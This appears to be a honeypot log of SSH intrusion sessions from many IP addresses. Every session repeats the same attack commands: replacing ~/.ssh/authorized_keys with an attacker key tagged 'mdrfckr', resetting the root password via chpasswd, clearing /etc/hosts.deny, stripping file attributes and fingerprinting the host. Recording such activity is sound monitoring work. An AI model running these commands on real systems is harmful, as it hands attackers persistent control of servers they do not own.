$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:B2XcoRwO1cQ3"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 specter_root_43 (186.158.183.66) — Buenos Aires, Argentina · 1 session · 19 cmds

2026-06-30 00:02 EDT · as root/1001

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:0Gy2NPPKoLWy"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 yankee_root_15 (67.215.246.121) — Los Angeles, United States · 1 session · 19 cmds

2026-06-29 23:51 EDT · as root/Abc654321

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:p1zu9kDDwtdp"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 cipher_root_43 (92.47.46.174) — Aktobe, Kazakhstan · 1 session · 19 cmds

2026-06-29 23:46 EDT · as root/test2024

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:cjdvs3KLrsjo"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 wok_root_14 (43.139.88.67) — Guangzhou, China · 1 session · 1 cmd

2026-06-29 23:24 EDT · as root/default

echo

$ echo SHELL_TEST

🎭 rogue_root_49 (101.47.15.26) — Singapore, Singapore · 2 sessions · 38 cmds

2026-06-29 22:20 EDT · as root/Admin1, root/Ys@123456

echo

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:VkqBhUCJ39Ng"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:C27HfeLo32cx"|chpasswd|bash

🎭 chateau_root_2 (151.80.141.196) — Roubaix, France · 2 sessions · 38 cmds

2026-06-29 22:26 EDT · as root/Admin1, root/Ys@123456

echo

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:TJAUbPvuXe10"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:NK0PuDCFBkAQ"|chpasswd|bash

🎭 hockey_root_2 (4.239.240.98) — Toronto, Canada · 1 session · 20 cmds

2026-06-29 22:28 EDT · as ubuntu/123!@#

echo

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "123!@#\naOuqYnJR679I\naOuqYnJR679I"|passwd|bash

$ Enter new UNIX password:

$ echo "123!@#\naOuqYnJR679I\naOuqYnJR679I\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 rogue_root_50 (176.101.56.126) — Tashkent, Uzbekistan · 1 session · 19 cmds

2026-06-29 22:26 EDT · as root/Ys@123456

echo

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:I8pI6vmjdOxz"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 bonsai_2 (20.78.0.33) — Tokyo, Japan · 1 session · 20 cmds

2026-06-29 21:57 EDT · as oak/oak

echo

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "oak\nCyeJ1W1yequa\nCyeJ1W1yequa"|passwd|bash

$ Enter new UNIX password:

$ echo "oak\nCyeJ1W1yequa\nCyeJ1W1yequa\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 cowboy_root_15 (185.150.190.165) — Piscataway, United States · 1 session · 19 cmds

2026-06-29 21:48 EDT · as root/12345aA

echo

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:qyrfKZ8E7FdH"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 jade_root_16 (36.111.40.138) — Guangzhou, China · 1 session · 19 cmds

2026-06-29 21:40 EDT · as root/admin_123!@#

echo

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:CB8pVLnYxJz5"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 cipher_root (195.178.110.232) — Andorra la Vella, Andorra · 2 sessions · 18 cmds

2026-06-28 11:20 EDT · as root/123456

echo

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output"

$ uname -s -v -n -m 2 > /dev/null ×2

$ /bin/uname -s -v -n -m 2 > /dev/null ×2

$ /usr/bin/uname -s -v -n -m 2 > /dev/null ×2

$ busybox uname -s -v -n -m 2 > /dev/null ×2

$ ( [ -f /proc/version ] ×2

$ [ -f /proc/version ] ×2

$ head -1 /proc/version | cut -d -f1 ×2

$ [ -f /etc/os-release ] ×2

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"

🎭 k-pop_root_2 (58.229.253.119) — Gunpo, South Korea · 1 session · 19 cmds

2026-06-29 19:40 EDT · as root/server!@#123

echo

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:GVmQl9qgJg1h"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 kite_root (165.154.147.69) — Kuala Lumpur, Malaysia · 1 session · 19 cmds

2026-06-29 19:24 EDT · as root/Admin1234!

echo

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:BMYWX4khlje5"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

